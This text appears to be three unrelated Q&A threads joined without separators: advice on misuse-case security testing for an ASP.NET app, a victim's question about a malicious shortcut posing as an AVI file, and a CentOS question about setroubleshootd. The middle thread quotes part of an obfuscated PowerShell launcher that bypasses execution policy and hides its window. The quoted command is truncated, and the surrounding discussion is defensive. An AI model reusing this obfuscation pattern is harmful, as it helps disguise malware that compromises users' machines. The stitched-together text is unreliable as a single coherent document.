Linked are some videos which can give you a running head start: "Web Application Pen Testing Tutorials" however, firing off a tool or two at an application is not a reliable mechanism to ensure security. Since you stated: "we have developed an ASP.NET Based Enterprise Application", your best best is to work using say Agile or other SDLC based TEST CASES and create your own MISUSE cases. Link: "Software Security, Misuse, Fault Injection"

The reasoning/rational behind this comment is, you (the company, developers, etc.) are the ones who made the application. You know (have documented) how it is supposed to function, and what it is NOT supposed to do. You can create "specially targeted" attacks against your own application that can yield better results.

The issue with tools are, they are pre-programmed with "known knowns." Attacks and attackers all evolve. So relying on one tool can leave you still vulnerable if the author of the tool, was unaware of a new threat. This was the issue with JAVA recently where there were issues, Oracle would sandbox, an attacker would re-break it, they'd patch it, and another attacker would re-break that too.

For something like this (application testing), its a very broad thing. You can use fuzzers, networking tools, and a smorgasbord of everything and anything, and still get it wrong. It pays to begin from the ground up:

What does my tool do (test case)
How can someone abuse that my tool is supposed to do? (misuse/abuse case)

E.g.:

Test Case 1: Application takes input from user (a name)
Misuse Case 1: Rogue user tries to enter something other than a name (unicode, hex, etc.)

EDITED

I decided to re-comment on this since I see the "hire a professional" answer. While this would a better thing to do since "professionals" tend to be better equipped and experienced to deal with this, they too can and so fail. An SDLC like approach should be at the forefront of developing secure code. Testing against (hiring a pro) this SDLC practice should come secondary. There is a HUGE difference in penetration testing, and application security. See: "Writing Secure Code"


Did I just infect my machine? I just ran an AVI file that was sent to me, thinking AVIs were safe. Turns out it was a windows shortcut with this in the path:

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -NoPr -WINd
1 -eXEc ByP  . ( $shelliD[1]+$SHeLlID[13]+'x') ([StrIng]::jOin( '',
[CHar[]](36 ,97,115, 112 , 120,32 ,61,32 ,40 ,40, 78, 101 , 119, 45,
79 , 98, 106,101,99, 116 , 32 ,83, 121 , 115,116, 101

I'm hoping the lack of closing parens means this was inoccuous.  Have I screwed myself?

Shortcut files (technically .lnk files) are mostly text and can be read using any program that tries to open the file rather than invoke ShellExecute on it. The text will contain the embedded command. The lack of closing parens, the incompleteness of the New-Object cmdlet, and so on probably mean you're fine so long as the shortcut is in fact truncated; if it isn't, you should probably assume the machine is compromised.

Out of curiosity, what shitty program transferred a .LNK file to you while hiding the extension? Very nearly all programs that hide the .LNK are aware that shortcuts can be malicious and will warn you, rename them, or outright block them. Did it suddenly get really twentieth-century in here? Anyhow, you should definitely report that as a security bug in the program (assuming, of course, it both did hide the .LNK and did not warn you).


How to know if setroubleshoot is running in Centos 7.2 I have tried systemctl status setroubleshootd.service, but I get

● setroubleshootd.service
Loaded: not-found (Reason: No such file or directory)
Active: inactive (dead)

Neither does setroubleshootd appear in the output of ps ax.

However, yum info setroubleshoot, tells that the package is installed.

Installed Packages
Name        : setroubleshoot
Arch        : x86_64
Version     : 3.2.24
Release     : 1.1.el7
Size        : 235 k
Repo        : installed
From repo   : anaconda

In the same way, yum info setroubleshoot-server tells that such package is also installed.

So, it seems to be installed, but not recognized by systemd. How can I see whether it is running or not?  And, if it is not running, how to enable it?

Found it. The problem is that setroubleshootd does not run permanently in CentOS 7.  It is started only when an AVC denial message reaches auditd.  This is confusing, since you normally expect a daemon to constantly run in the background.

See: SELinux User's and Administrator's Guide: Which Log File is Used